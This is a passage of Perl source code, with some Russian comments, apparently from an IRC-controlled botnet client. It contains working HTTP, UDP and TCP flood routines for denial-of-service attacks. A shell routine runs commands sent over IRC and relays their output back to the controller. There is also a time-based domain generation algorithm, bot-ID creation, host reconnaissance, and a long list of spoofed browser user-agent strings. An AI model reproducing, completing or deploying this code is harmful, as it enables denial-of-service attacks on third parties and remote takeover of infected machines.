  887.                 my $duration = $_[1];
  888.  
  889.                 alarm (0);
  890.                 my $itime = time;
  891.                 my ($cur_time);
  892.                 $cur_time = time - $itime;
  893.  
  894.                 print "attackHttpFlood started!\n";
  895.  
  896.                 while ($duration > $cur_time){
  897.                         $cur_time = time - $itime;
  898.                         my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$host, PeerPort=>80);
  899.                         print $socket "GET / HTTP/1.1\r\nAccept: */*\r\nHost: ".$host."\r\nConnection: Keep-Alive\r\n\r\n";
  900.                         close($socket);
  901.                 }
  902.                 exit;
  903.         }
  904.         else {
  905.                 return $child;
  906.         }
  907. }
  908.  
  909. # UDP from IRC (парамерты : хост, порт, размер пакета в Kb, длительность)
  910. sub attackUdpFlood {
  911.         $SIG{CHLD} = \&REAPER;
  912.         $child = fork;
  913.         if ($child == 0){
  914.                 my $host = $_[0];
  915.                 my $port = $_[1];
  916.                 my $packetSize = $_[2];
  917.                 my $duration = $_[3];
  918.  
  919.                 alarm (0);
  920.  
  921.                 print "attackUdpFlood started!\n";
  922.  
  923.                 my ($dtime, %pacotes) = udpflooder("$host", "$port", "$packetSize", "$duration");
  924.                 $dtime = 1 if $dtime == 0;
  925.                 my %bytes;
  926.                 $bytes{igmp} = $packetSize * $pacotes{igmp};
  927.                 $bytes{icmp} = $packetSize * $pacotes{icmp};
  928.                 $bytes{o} = $packetSize * $pacotes{o};
  929.                 $bytes{udp} = $packetSize * $pacotes{udp};
  930.                 $bytes{tcp} = $packetSize * $pacotes{tcp};
  931.                 print "$target :[UDP-DDos] Results ".int(($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/1024)." Kb in ".$dtime." seconds to ".$1.".";
  932.                 exit;
  933.         }
  934.         else {
  935.                 return $child;
  936.         }
  937. }
  938.  
  939. # TCP from IRC (парамерты : хост, порт, длительность)
  940. sub attackTcpFlood {
  941.         $SIG{CHLD} = \&REAPER;
  942.         $child = fork;
  943.         if ($child == 0){
  944.                 my $host = $_[0];
  945.                 my $port = $_[1];
  946.                 my $duration = $_[2];
  947.  
  948.                 print "attackTcpFlood started!\n";
  949.  
  950.                 alarm (0);
  951.                 tcpflooder("$host","$port","$duration");
  952.                 exit;
  953.         }
  954.         else {
  955.                 return $child;
  956.         }
  957. }
  958.  
  959. sub genGarbage {
  960.         my $len = $_[0];
  961.         my $chars = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%^&*()_+|\=-~`1234567890";
  962.         my $garbage = '';
  963.  
  964.         for my $i (0..$len){
  965.                 my $symbol = substr $chars, int rand length($chars), 1;
  966.                 $garbage .= $symbol;
  967.         }
  968.         return $garbage;
  969. }
  970.  
  971. sub tcpflooder {
  972.    my $itime = time;
  973.    my ($cur_time);
  974.    my ($ia,$pa,$proto,$j,$l,$t);
  975.    
  976.    $ia=inet_aton($_[0]);
  977.    $pa=sockaddr_in($_[1],$ia);
  978.    $ftime=$_[2];
  979.    $proto=getprotobyname('tcp');
  980.    $j=0;$l=0;
  981.    $cur_time = time - $itime;
  982.    while ($l<1000){
  983.           $cur_time = time - $itime;
  984.           last if $cur_time >= $ftime;
  985.           $t="SOCK$l";
  986.           socket($t,PF_INET,SOCK_STREAM,$proto);
  987.           connect($t,$pa)||$j--;
  988.           $j++;
  989.           $l++;
  990.    }
  991.    $l=0;
  992.    while ($l<1000){
  993.           $cur_time = time - $itime;
  994.           last if $cur_time >= $ftime;
  995.           $t="SOCK$l";
  996.           shutdown($t,2);
  997.           $l++;
  998.    }
  999. }
  1000.  
  1001. sub udpflooder {
  1002.    my $iaddr = inet_aton($_[0]);
  1003.    #my $msg = 'A' x $_[1];
  1004.    
  1005.    my $porta = $_[1];
  1006.    my $msg = genGarbage($_[2]);
  1007.    
  1008.    my $ftime = $_[3];
  1009.    my $cp = 0;
  1010.    my (%pacotes);
  1011.    
  1012.    print " udpflooder $_[0] $ftime\n";
  1013.    
  1014.    $pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} = $pacotes{tcp} = 0;
  1015.    #socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++;
  1016.    socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++;
  1017.    #socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++;
  1018.    #socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++;
  1019.    return(undef) if $cp == 4;
  1020.    my $itime = time;
  1021.    my ($cur_time);
  1022.    while ( 1 ) {
  1023.           #for (my $porta = 1; $porta <= 65000; $porta++)
  1024.           {
  1025.          
  1026.                  $cur_time = time - $itime;
  1027.                  last if $cur_time >= $ftime;
  1028.                  #send(SOCK1, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{igmp}++;
  1029.                  send(SOCK2, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{udp}++;
  1030.                  #send(SOCK3, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{icmp}++;
  1031.                  #send(SOCK4, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{tcp}++;
  1032.                  for (my $pc = 3; $pc <= 255;$pc++) {
  1033.                         next if $pc == 6;
  1034.                         $cur_time = time - $itime;
  1035.                         last if $cur_time >= $ftime;
  1036.                         socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next;
  1037.                         send(SOCK5, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{o}++;
  1038.  
  1039.                         #print "send $msg port=$porta\n";
  1040.                         #print ".";
  1041.  
  1042.                  }
  1043.           }
  1044.           last if $cur_time >= $ftime;
  1045.    }
  1046.    #print "done on port $porta\n";
  1047.    return($cur_time, %pacotes);
  1048. }
  1049.  
  1050. sub addServer {
  1051.         my $sp = $_[0];
  1052.         if (open(FILE, $serverfile)){
  1053.                 my @serverlist = <FILE>;
  1054.                 close (FILE);
  1055.                 foreach my $i (@serverlist){
  1056.                         if ($i =~ /^$sp/){
  1057.                                 return;
  1058.                         }
  1059.                 }
  1060.         }
  1061.         if (!open(FILE,">>".$serverfile)){
  1062.                 if (!open(FILE,">".$serverfile)){
  1063.                         return;
  1064.                 }
  1065.         }
  1066.         print FILE $sp."\n";
  1067.         close(FILE);
  1068. }
  1069.  
  1070. sub delServer {
  1071.         my $servertodel = $_[0];
  1072.         if (!open(FILE, $serverfile)){
  1073.                 return;
  1074.         }
  1075.         my @serverlist = <FILE>;
  1076.         my $offset=0;
  1077.         foreach my $i (@serverlist){
  1078.                 if ($i =~ /^$servertodel/){
  1079.                         splice @serverlist, $offset, 1;
  1080.                         $offset --;
  1081.                 }
  1082.                 $offset ++;
  1083.         }
  1084.         close(FILE);
  1085.         if (open(FILE, ">".$serverfile)){
  1086.                 print FILE @serverlist;
  1087.                 close(FILE);
  1088.         }
  1089. }
  1090.  
  1091. #--------------------------------------------------------------------
  1092. sub getCurrentDate {
  1093.         my $timeServer = "time.appspot.com";
  1094.         my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$timeServer, PeerPort=>80);
  1095.         print $socket "GET / HTTP/1.1\r\nAccept: */*\r\nHost: ".$timeServer."\r\nConnection: Close\r\n\r\n";
  1096.         my $utc = '';
  1097.         while(<$socket>){
  1098.                 if ($_ =~ /\<b\>/) { $utc .= $_; }
  1099.                 if ($_ =~ /\<\/b\>/) { last; }
  1100.         }
  1101.         close $socket;
  1102.         print $utc;
  1103.         if ($utc =~ /<b>(\d+)-(\d+)-(\d+) (\d+)\:(\d+)\:(\d+)\.(.+)<\/b>/){  #<html><title>The Time</title><body>The time is <b>2011-10-16 08:52:55.107370</b> UTC
  1104.                 my ($year, $mon, $mday, $hour,$min, $sec) = ($1,$2,$3,$4,$5,$6);
  1105.                 my @result = ($1,$2,$3,$4,$5,$6);
  1106.                 return @result;
  1107.         }
  1108.         return undef;
  1109. }
  1110.  
  1111. sub getDomain {
  1112.         my @res = getCurrentDate();
  1113.         if (@res == undef) { return undef; }
  1114.         my ($year, $mon, $day, $hour,$min, $sec) = @res;
  1115.         print "year = $year, mon = $mon, mday = $mday, hour = $hour, min = $min, sec = $sec";
  1116.  
  1117.         my $prefix = $_[0];
  1118.         my $suffix = $_[1];
  1119.         my $chars = "abcdefghijklmnopqrstuvwxyz0123456789";    
  1120.  
  1121.     my $t = 0;
  1122.         my $len = length($chars);
  1123.  
  1124.         print "len = ".$len."\n";
  1125.  
  1126.         my $url = '';
  1127.         $t = ($t + $year) % $len; $url .= substr $chars, $t, 1;
  1128.         $t = ($t + $mon)  % $len; $url .= substr $chars, $t, 1;
  1129.         $t = ($t + $day)  % $len; $url .= substr $chars, $t, 1;
  1130.         $t = ($t + $hour) % $len; $url .= substr $chars, $t, 1;
  1131.         $t = ($t + $year + $mon)  % $len; $url .= substr $chars, $t, 1;
  1132.         $t = ($t + $year + $day)  % $len; $url .= substr $chars, $t, 1;
  1133.         $t = ($t + $year + $hour) % $len; $url .= substr $chars, $t, 1;
  1134.         $t = ($t + $mon + $day)  % $len; $url .= substr $chars, $t, 1;
  1135.         $t = ($t + $mon + $dhour)  % $len; $url .= substr $chars, $t, 1;
  1136.         $t = ($t + $day + $hour) % $len; $url .= substr $chars, $t, 1;
  1137.         #$t = ($t + $day + $sec) % $len; $url .= substr $chars, $t, 1;
  1138.  
  1139.         print "generated ".$prefix.$url.$suffix;
  1140.         return $prefix.$url.$suffix;
  1141. }
  1142. #--------------------------------------------------------------------
  1143.  
  1144. sub process {
  1145.         my $funcarg = $_[0];
  1146.  
  1147.         if ($funcarg =~ /^addserv (.*)/){
  1148.                 addServer($1);
  1149.         }
  1150.         elsif ($funcarg =~ /^delserv (.*)/){
  1151.                 delServer($1);
  1152.         }
  1153.         elsif ($funcarg =~ /^connect\s+(\S+)\s+(\S+)\s+(\S+)/) {
  1154.                 { conectar("$2", "$1", "$3")    }
  1155.         }
  1156. }
  1157.  
  1158. sub shell {
  1159.    my $target=$_[0];
  1160.    my $comando=$_[1];
  1161.    $SIG{CHLD} = \&REAPER;
  1162.    if ($comando =~ /cd (.*)/) {
  1163.           chdir("$1") || msg("$target", "No such file or directory");
  1164.           return;
  1165.    } elsif ($pid = fork) {
  1166.           waitpid($pid, 0);
  1167.    } else {
  1168.           if (fork) {
  1169.            exit;
  1170.           } else {
  1171.                  my @resp=`$comando 2>&1 3>&1`;
  1172.                  my $c=0;
  1173.                  foreach my $linha (@resp) {
  1174.                         $c++;
  1175.                         chop $linha;
  1176.                         sendraw($IRC_cur_socket, "PRIVMSG $target :$linha");
  1177.  
  1178.                  }
  1179.                  exit;
  1180.           }
  1181.    }
  1182. }
  1183.  
  1184. sub md5 {
  1185.     my $arg = $_[0];
  1186.     my $uu = "H9T4C\`>_-JXF8NMS^\$\#)4=\@<\,\$18%\"0X4!\`L0%P8*#Q4\`\`04\`\`04#!P\`\`";
  1187.     my @A=unpack (N4C24, unpack (u, $uu));
  1188.     my @K=map{int abs 2**32*sin$_}1..64;
  1189.     my $x; my $n; my $l; my $m; my $p; my $z; my $r;
  1190.    
  1191.     sub L {($x=pop) <<($n=pop)|2**$n-1&$x>>32-$n}
  1192.     sub M {($x=pop)-($m=1+~0)*int$x/$m}
  1193.     my $i=0;  
  1194.     do{
  1195.         my $test = substr $arg, $i, $i+64;
  1196.         my $len = length $test;
  1197.         $i+=64;
  1198.         $r = $len; $l += $len; $_ = $test;
  1199.         $r++, $test.="\x80" if ($r < 64 && !$p++);
  1200.         @W=unpack V16, $test."\0"x7;
  1201.         $W[14] = $l*8 if ($r<57);
  1202.         ($a,$b,$c,$d) = @A;
  1203.         for (0..63){
  1204.             $c = $c & 0xffffffff; $b = $b & 0xffffffff; $d = $d & 0xffffffff;          
  1205. $a = M$b + L$A[4+4*($_>>4)+$_%4], M&{(sub{($b&$c |$d&~$b)& 0xffffffff}, sub{($b&$d|$c&~$d)& 0xffffffff}, sub{($b^$c^$d)& 0xffffffff}, sub{($c^($b|~$d)) & 0xffffffff })[$z=$_/16]}+$W[($A[ 20+$z]+$A[24+$z]*($_%16))%16]+$K[$_]+$a;          
  1206.            
  1207.             ($a,$b,$c,$d)=($d,$a,$b,$c);
  1208.         }      
  1209.         $v = a;      
  1210.         for (@A[0..3]){$_ = M$_+${$v++}}
  1211.     }while ($r>56);
  1212.     my $result = unpack(H32,pack V4,@A);
  1213.     return $result;
  1214. }
  1215.  
  1216.  
  1217. sub getKernel {
  1218.         if ($^O eq "MSWin32"){
  1219.                 $kernel = "unknown";
  1220.         }
  1221.         else {
  1222.                 $kernel = `uname -snr`;
  1223.                 chomp $kernel;
  1224.         }
  1225. }
  1226.  
  1227. sub getBotId {
  1228.         if (open(FILE, "<".$idfile)){
  1229.                 $botid = <FILE>;
  1230.                 close(FILE);
  1231.                 print ("FROM file, botid = $botid\n");
  1232.         }
  1233.         else {
  1234.         # ">" - запись,"<"- чтение, ">>"- добавление в файл.
  1235.                 if (open(FILE, ">".$idfile)){
  1236.                         if ($^O eq "MSWin32"){
  1237.                                 print ("id = $botid\n");
  1238.                                 $botid = md5(int rand(65535));# "winbotid";
  1239.                         } else {
  1240.                                 foreach $i (1..16){
  1241.                                         my $randhex = `head -c 1 /dev/random`;
  1242.                                         my $str = sprintf("%02lx", ord $randhex);
  1243.                                         $botid .= $str;
  1244.                                 }
  1245.                         }
  1246.                         printf FILE $botid;
  1247.                         close FILE;
  1248.                 }
  1249.                 else {
  1250.                         print "Error working with ".$idfile."\n";
  1251.                         exit;
  1252.                 }
  1253.         }
  1254. }
  1255.  
  1256. sub getLocalIp {
  1257.         if ($^O eq "MSWin32"){
  1258.                 $localip = "127.0.0.1";
  1259.                 return;
  1260.         }
  1261.         #$localip = `ifconfig eth0 | grep 'inet addr:' | cut -d':' -f2 | awk '{ print $1}'`;
  1262.  
  1263.         $ifconfig="/sbin/ifconfig";
  1264.         @lines = qx|$ifconfig| or die("Can't get info from ifconfig: ".$!);
  1265.         foreach(@lines){
  1266.                 if (/127.0.0.1/){ next;}
  1267.         if(/inet addr:([\d.]+)/){
  1268.             $localip = $1;
  1269.                         last;
  1270.         }
  1271.         }
  1272. }
  1273.  
  1274. sub getUptime {
  1275.         if ($^O eq "MSWin32"){
  1276.                 return "sometime";
  1277.         }
  1278.         $up="uptime";
  1279.         $result = qx|$up| or die("Can't get info from uptime: ".$!);
  1280.         if($result =~ /^(.*) up (.*),\s+(\d+)\s+(.*)/){
  1281.                 $up = $2;
  1282.                 return $up;
  1283.         }
  1284.         return undef;
  1285. }
  1286.  
  1287. sub getUA {
  1288.         my @uaList = (
  1289.         "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:6.0a2) Gecko/20110613 Firefox/6.0a2",
  1290.         "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:6.0a2) Gecko/20110612 Firefox/6.0a2",
  1291.         "Mozilla/5.0 (Windows NT 6.1; rv:6.0) Gecko/20110814 Firefox/6.0",
  1292.         "Mozilla/5.0 (Windows NT 5.1; rv:6.0) Gecko/20100101 Firefox/6.0 FirePHP/0.6",
  1293.         "Mozilla/5.0 (Windows NT 5.0; WOW64; rv:6.0) Gecko/20100101 Firefox/6.0",
  1294.         "Mozilla/5.0 (Windows NT 6.1; U; ru; rv:5.0.1.6) Gecko/20110501 Firefox/5.0.1 Firefox/5.0.1",
  1295.         "Mozilla/5.0 (Windows NT 6.2; WOW64; rv:5.0) Gecko/20100101 Firefox/5.0",
  1296.         "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:5.0) Gecko/20110619 Firefox/5.0",
  1297.         "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:5.0) Gecko/20100101 Firefox/5.0",
  1298.         "Mozilla/5.0 (Windows NT 6.1.1; rv:5.0) Gecko/20100101 Firefox/5.0",
  1299.         "Mozilla/5.0 (Windows NT 5.2; WOW64; rv:5.0) Gecko/20100101 Firefox/5.0",
  1300.         "Mozilla/5.0 (Windows NT 5.1; U; rv:5.0) Gecko/20100101 Firefox/5.0",
  1301.         "Mozilla/5.0 (Windows NT 5.1; rv:2.0.1) Gecko/20100101 Firefox/5.0",
  1302.         "Mozilla/5.0 (Windows NT 5.0; WOW64; rv:5.0) Gecko/20100101 Firefox/5.0",
  1303.         "Mozilla/5.0 (Windows NT 5.0; rv:5.0) Gecko/20100101 Firefox/5.0",
  1304.         "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.2a1pre) Gecko/20110324 Firefox/4.2a1pre",
  1305.         "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.2a1pre) Gecko/20110323 Firefox/4.2a1pre",
  1306.         "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.2a1pre) Gecko/20110208 Firefox/4.2a1pre",
  1307.         "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0b9pre) Gecko/20101228 Firefox/4.0b9pre",
  1308.         "Mozilla/5.0 (Windows NT 5.1; rv:2.0b9pre) Gecko/20110105 Firefox/4.0b9pre",
  1309.         "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0b8pre) Gecko/20101114 Firefox/4.0b8pre",
  1310.         "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0b8pre) Gecko/20101213 Firefox/4.0b8pre",
  1311.         "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0b8pre) Gecko/20101128 Firefox/4.0b8pre",
  1312.         "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0b8pre) Gecko/20101114 Firefox/4.0b8pre",
  1313.         "Mozilla/5.0 (Windows NT 5.1; rv:2.0b8pre) Gecko/20101127 Firefox/4.0b8pre",
  1314.         "Mozilla/5.0 (Windows NT 6.1; rv:2.0b7pre) Gecko/20100921 Firefox/4.0b7pre",
  1315.         "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0b7) Gecko/20101111 Firefox/4.0b7",
  1316.         "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0b7) Gecko/20100101 Firefox/4.0b7",
  1317.         "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0b6pre) Gecko/20100903 Firefox/4.0b6pre",
  1318.         "Mozilla/5.0 (Windows NT 6.1; rv:2.0b6pre) Gecko/20100903 Firefox/4.0b6pre Firefox/4.0b6pre",
  1319.         "Mozilla/5.0 (Windows NT 5.2; rv:2.0b13pre) Gecko/20110304 Firefox/4.0b13pre",
  1320.         "Mozilla/5.0 (Windows NT 5.1; rv:2.0b13pre) Gecko/20110223 Firefox/4.0b13pre",
  1321.         "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0b11pre) Gecko/20110128 Firefox/4.0b11pre",
  1322.         "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0b11pre) Gecko/20110131 Firefox/4.0b11pre",
  1323.         "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0b11pre) Gecko/20110129 Firefox/4.0b11pre",
  1324.         "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0b11pre) Gecko/20110128 Firefox/4.0b11pre",
  1325.         "Mozilla/5.0 (Windows NT 6.1; rv:2.0b11pre) Gecko/20110126 Firefox/4.0b11pre",
  1326.         "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0b10pre) Gecko/20110118 Firefox/4.0b10pre",
  1327.         "Mozilla/5.0 (Windows NT 6.1; rv:2.0b10pre) Gecko/20110113 Firefox/4.0b10pre",
  1328.         "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:2.0b10) Gecko/20110126 Firefox/4.0b10",
  1329.         "Mozilla/5.0 (Windows NT 6.1; rv:2.0b10) Gecko/20110126 Firefox/4.0b10",
  1330.         "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:2.0.1) Gecko/20110606 Firefox/4.0.1",
  1331.         "Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)",
  1332.         "Mozilla/5.0 (Windows NT 6.1; rv:2.0) Gecko/20110319 Firefox/4.0",
  1333.         "Mozilla/5.0 (Windows NT 6.1; rv:1.9) Gecko/20100101 Firefox/4.0",
  1334.  
  1335.         "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.872.0 Safari/535.2",
  1336.         "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.864.0 Safari/535.2",
  1337.         "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.861.0 Safari/535.2",
  1338.         "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.2 (KHTML, like Gecko) Chrome/15.0.860.0 Safari/535.2Chrome/15.0.860.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/533.20.25 (KHTML, like Gecko) Version/15.0.860.0",
  1339.         "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.815.10913 Safari/535.1",
  1340.         "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.815.0 Safari/535.1",
  1341.         "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.814.0 Safari/535.1",
  1342.         "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.813.0 Safari/535.1",
  1343.         "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.813.0 Safari/535.1",
  1344.         "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.813.0 Safari/535.1",
  1345.         "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.812.0 Safari/535.1",
  1346.         "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.811.0 Safari/535.1",
  1347.         "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.810.0 Safari/535.1",
  1348.         "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.810.0 Safari/535.1",
  1349.         "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.809.0 Safari/535.1",
  1350.         "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.801.0 Safari/535.1",
  1351.         "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.794.0 Safari/535.1",
  1352.         "Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.792.0 Safari/535.1",
  1353.         "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.792.0 Safari/535.1",
  1354.         "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/14.0.792.0 Safari/535.1",
  1355.         "Mozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.41 Safari/535.1",
  1356.         "Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.41 Safari/535.1",
  1357.         "Mozilla/5.0 (Windows NT 5.2; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.41 Safari/535.1",
  1358.         "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.41 Safari/535.1",
  1359.         "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.24 Safari/535.1",
  1360.         "Mozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1",
  1361.         "Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1",
  1362.         "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.215 Safari/535.1",
  1363.         "Mozilla/5.0 (Windows NT 6.0) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.20 Safari/535.1",
  1364.         "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.20 Safari/535.1",
  1365.         "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.107 Safari/535.1",
  1366.         "Mozilla/5.0 (Windows NT 6.1; en-US) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.750.0 Safari/534.30",
  1367.         "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.53 Safari/534.30",
  1368.         "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.113 Safari/534.30",
  1369.         "Mozilla/5.0 (Windows NT 7.1) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.112 Safari/534.30",
  1370.         "Mozilla/5.0 (Windows NT 5.2) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.112 Safari/534.30",
  1371.         "Mozilla/5.0 (Windows 8) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.112 Safari/534.30",
  1372.         "Mozilla/5.0 (Windows NT 6.0) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.100 Safari/534.30",
  1373.         "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.724.100 Safari/534.30",
  1374.         "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/534.25 (KHTML, like Gecko) Chrome/12.0.706.0 Safari/534.25",
  1375.         "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/12.0.702.0 Safari/534.24",
  1376.         "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/12.0.702.0 Safari/534.24",
  1377.         "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.700.3 Safari/534.24",
  1378.         "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.699.0 Safari/534.24",
  1379.         "Mozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.699.0 Safari/534.24",
  1380.         "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.697.0 Safari/534.24",
  1381.         "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24",
  1382.         "Mozilla/5.0 (Windows NT 5.1) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.43 Safari/534.24",
  1383.         "Mozilla/5.0 (Windows NT 6.0; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.34 Safari/534.24",
  1384.         "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.3 Safari/534.24",
  1385.         "Mozilla/5.0 (Windows NT 6.0) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.3 Safari/534.24",
  1386.         "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.12 Safari/534.24",
  1387.         "Mozilla/5.0 (Windows NT 6.1) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.694.0 Safari/534.24",
  1388.         "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.21 (KHTML, like Gecko) Chrome/11.0.682.0 Safari/534.21",
  1389.         "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.21 (KHTML, like Gecko) Chrome/11.0.678.0 Safari/534.21",
  1390.         "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.20 (KHTML, like Gecko) Chrome/11.0.672.2 Safari/534.20",
  1391.         "Mozilla/5.0 (Windows NT) AppleWebKit/534.20 (KHTML, like Gecko) Chrome/11.0.672.2 Safari/534.20",
  1392.         "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.20 (KHTML, like Gecko) Chrome/11.0.669.0 Safari/534.20",
  1393.         "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.19 (KHTML, like Gecko) Chrome/11.0.661.0 Safari/534.19",
  1394.         "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/534.18 (KHTML, like Gecko) Chrome/11.0.661.0 Safari/534.18",
  1395.         "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.17 (KHTML, like Gecko) Chrome/11.0.655.0 Safari/534.17",
  1396.         "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.17 (KHTML, like Gecko) Chrome/11.0.654.0 Safari/534.17",
